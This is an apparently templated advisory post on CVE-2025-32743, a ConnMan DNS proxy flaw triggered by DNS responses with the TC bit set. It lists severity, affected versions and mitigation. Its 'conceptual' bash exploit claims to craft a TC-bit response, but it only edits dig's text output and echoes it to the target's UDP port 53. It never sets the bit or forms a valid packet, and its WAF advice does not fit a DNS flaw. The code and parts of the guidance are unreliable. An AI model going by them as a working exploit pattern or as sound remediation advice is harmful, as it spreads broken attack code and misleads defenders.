CVE-2025-32743: Critical Vulnerability in ConnMan Could Lead to System Compromise

Overview

The cybersecurity landscape continually evolves, with new vulnerabilities discovered regularly. One such vulnerability, identified as CVE-2025-32743, poses a significant threat to systems running ConnMan versions up to 1.44. This critical vulnerability, if exploited, allows attackers to cause a denial of service (DoS) or potentially execute arbitrary code. System administrators and security teams must pay close attention to this vulnerability due to its high CVSS Severity Score of 9.0 and its potential to cause substantial damage, including system compromise, or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-32743
Severity: Critical (9.0 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

ConnMan | Up to 1.44

How the Exploit Works

This vulnerability occurs due to improper handling of DNS responses with the Truncated (TC) bit set in ConnMan. When the lookup string in ns_resolv in dnsproxy.c is NULL or an empty string upon receiving a TC bit set DNS response, it triggers incorrect length calculations and incorrect memcpy operations. As a result, an attacker can exploit this flaw to crash the application or possibly execute arbitrary code.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited, using a crafted DNS response:

#!/bin/bash
# Example of a crafted DNS response
# Create a DNS query
dns_query="dig target.example.com"
# Send the DNS query and capture the response
dns_response=`$dns_query`
# Craft a DNS response with the TC bit set and an empty query string
crafted_response=${dns_response/QUESTION:\ 1,\ ANSWER:\ 0,\ AUTHORITY:\ 0,\ ADDITIONAL:\ 0/QUESTION:\ 0,\ ANSWER:\ 0,\ AUTHORITY:\ 0,\ ADDITIONAL:\ 0}
# Send the crafted response to the target
echo $crafted_response > /dev/udp/target.example.com/53

This script first creates a DNS query for ‘target.example.com’. It then captures the response and crafts a new response with the TC bit set and an empty query string. The crafted response is then sent to the target, causing the application to crash or possibly allowing the attacker to execute arbitrary code.
The above code is conceptual and for educational purposes only. Misuse of this information can result in criminal charges.

Mitigation

It’s crucial to apply the vendor patch as soon as possible to mitigate this vulnerability. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection. It’s also recommended to regularly update all software and systems as part of a comprehensive cybersecurity strategy. Regularly monitoring and auditing system logs for suspicious activity can also help identify potential threats early.